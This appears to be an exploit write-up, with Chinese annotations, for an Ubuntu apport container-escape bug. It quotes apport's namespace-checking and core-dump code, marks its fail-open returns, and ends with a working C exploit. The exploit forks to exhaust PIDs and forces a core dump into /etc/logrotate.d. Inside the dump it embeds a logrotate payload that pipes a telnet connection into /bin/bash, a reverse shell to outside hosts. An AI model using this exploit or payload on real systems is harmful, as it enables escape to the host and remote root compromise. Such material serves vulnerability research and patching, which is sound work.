def is_same_ns(pid, ns):  if not os.path.exists('/proc/self/ns/%s' % ns) or   not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):  # If the namespace doesn't exist, then it's obviously shared  return True    try:  if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):  # Check that the inode for both namespaces is the same  return True  except OSError as e:  if e.errno == errno.ENOENT:  return True  else:  raise    return False

# Check if we received a valid global PID (kernel >= 3.12). If we do,  # then compare it with the local PID. If they don't match, it's an  # indication that the crash originated from another PID namespace.  # Simply log an entry in the host error log and exit 0.  if len(sys.argv) == 6:  host_pid = int(sys.argv[5])    if not is_same_ns(host_pid, "pid") and not is_same_ns(host_pid, "mnt"):  # If the crash came from a container, don't attempt to handle  # locally as that would just result in wrong system information.    # Instead, attempt to find apport inside the container and  # forward the process information there.  if not os.path.exists('/proc/%d/root/run/apport.socket' % host_pid):  error_log('host pid %s crashed in a container without apport support' %  sys.argv[5])  sys.exit(0)  [ ... ]    sys.exit(0)  elif not is_same_ns(host_pid, "pid") and is_same_ns(host_pid, "mnt"): #这里  # If it doesn't look like the crash originated from within a  # full container, then take the global pid and replace the local  # pid with it, then move on to normal handling.    # This bit is needed because some software like the chrome  # sandbox will use container namespaces as a security measure but are  # still otherwise host processes. When that's the case, we need to keep  # handling those crashes locally using the global pid.  sys.argv[1] = str(host_pid)  elif not is_same_ns(host_pid, "mnt"):  error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)  sys.exit(0)

elif not is_same_ns(host_pid, "mnt"):  error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)  sys.exit(0)  else:  # If it doesn't look like the crash originated from within a  # full container or if the is_same_ns() function fails open (returning  # True), then take the global pid and replace the local pid with it,  # then move on to normal handling.    # This bit is needed because some software like the chrome  # sandbox will use container namespaces as a security measure but are  # still otherwise host processes. When that's the case, we need to keep  # handling those crashes locally using the global pid.  sys.argv[1] = str(host_pid)

def get_pid_info(pid):  '''Read /proc information about pid'''    global pidstat, real_uid, real_gid, cwd    # unhandled exceptions on missing or invalidly formatted files are okay  # here -- we want to know in the log file  pidstat = os.stat('/proc/%s/stat' % pid)    # determine real UID of the target process; do *not* use the owner of  # /proc/pid/stat, as that will be root for setuid or unreadable programs!  # (this matters when suid_dumpable is enabled)  with open('/proc/%s/status' % pid) as f:  for line in f:  if line.startswith('Uid:'):  real_uid = int(line.split()[1])  elif line.startswith('Gid:'):  real_gid = int(line.split()[1])  break  assert real_uid is not None, 'failed to parse Uid'  assert real_gid is not None, 'failed to parse Gid'    cwd = os.readlink('/proc/' + pid + '/cwd')

def write_user_coredump(pid, cwd, limit, from_report=None):  '''Write the core into the current directory if ulimit requests it.'''    # three cases:  # limit == 0: do not write anything  # limit < 0: unlimited, write out everything  # limit nonzero: crashed process' core size ulimit in bytes    if limit == 0:  return    # don't write a core dump for suid/sgid/unreadable or otherwise  # protected executables, in accordance with core(5)  # (suid_dumpable==2 and core_pattern restrictions); when this happens,  # /proc/pid/stat is owned by root (or the user suid'ed to), but we already  # changed to the crashed process' real uid  assert pidstat, 'pidstat not initialized'  if pidstat.st_uid != os.getuid() or pidstat.st_gid != os.getgid():  error_log('disabling core dump for suid/sgid/unreadable executable')  return    core_path = os.path.join(cwd, 'core')  try:  with open('/proc/sys/kernel/core_uses_pid') as f:  if f.read().strip() != '0':  core_path += '.' + str(pid)  core_file = os.open(core_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)  except (OSError, IOError):  return    error_log('writing core dump to %s (limit: %s)' % (core_path, str(limit)))    written = 0    # Priming read  if from_report:  r = apport.Report()  r.load(from_report)  core_size = len(r['CoreDump'])  if limit > 0 and core_size > limit:  error_log('aborting core dump writing, size %i exceeds current limit' % core_size)  os.close(core_file)  os.unlink(core_path)  return  error_log('writing core dump %s of size %i' % (core_path, core_size))  os.write(core_file, r['CoreDump'])  else:  # read from stdin  block = os.read(0, 1048576)    while True:  size = len(block)  if size == 0:  break  written += size  if limit > 0 and written > limit:  error_log('aborting core dump writing, size exceeds current limit %i' % limit)  os.close(core_file)  os.unlink(core_path)  return  if os.write(core_file, block) != size:  error_log('aborting core dump writing, could not write')  os.close(core_file)  os.unlink(core_path)  return  block = os.read(0, 1048576)    os.close(core_file)  return core_path

def init_error_log():  '''Open a suitable error log if sys.stderr is not a tty.'''    if not os.isatty(2):  log = os.environ.get('APPORT_LOG_FILE', '/var/log/apport.log')  try:  f = os.open(log, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)  try:  admgid = grp.getgrnam('adm')[2]  os.chown(log, -1, admgid)  os.chmod(log, 0o640)  except KeyError:  pass # if group adm doesn't exist, just leave it as root  except OSError: # on a permission error, don't touch stderr  return  os.dup2(f, 1)  os.dup2(f, 2)  sys.stderr = os.fdopen(2, 'wb')  if sys.version_info.major >= 3:  sys.stderr = io.TextIOWrapper(sys.stderr)  sys.stdout = sys.stderr      def error_log(msg):  '''Output something to the error log.'''    apport.error('apport (pid %s) %s: %s', os.getpid(), time.asctime(), msg)

def is_same_ns(pid, ns):  if not os.path.exists('/proc/self/ns/%s' % ns) or   not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):  # If the namespace doesn't exist, then it's obviously shared  return True #=======================这里    try:  if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):  # Check that the inode for both namespaces is the same  return True #=====================这里  except OSError as e:  if e.errno == errno.ENOENT:  return True #======================这里  else:  raise    return False

int pid = fork();  if (pid) {  /* kill the child process, after it stimulate the core dump */  usleep(2000);  kill(pid, SIGKILL);  }  else {  /* must stimulate the raise before kill */  raise(SIGQUIT); //to make core  }

#include <stdio.h>  #include <signal.h>  #include <stdlib.h>  #include <unistd.h>  #include <sys/wait.h>  /*/var/log/cups/*log {  daily  missingok  rotate7  sharedscripts  postrotate  telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321  endscript  }*/  char payload[] = "n/var/log/cups/*log {n dailyn missingokn rotate7n sharedscriptsn postrotaten telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321n endscriptn}n";  void fork_bomb(int num)  {  int i;  for(i = 0; i < num; i++){  int pid = fork();  if (pid)  {  wait(NULL);  }  }  }    int main(int argc, char const *argv[])  {  chdir("/etc/logrotate.d");  int i;  for(i = 0; i < 5; i++){  fork_bomb(200);  int pid = fork();  if (pid) {  /* kill the child process, after it stimulate the core dump */  usleep(2000);  kill(pid, SIGKILL);  }  else {  /* must stimulate the raise before kill */  raise(SIGQUIT); //to make core  }  usleep(1000*100);  puts("wait... maybe the core has already been generated :)");  }  return 0;  }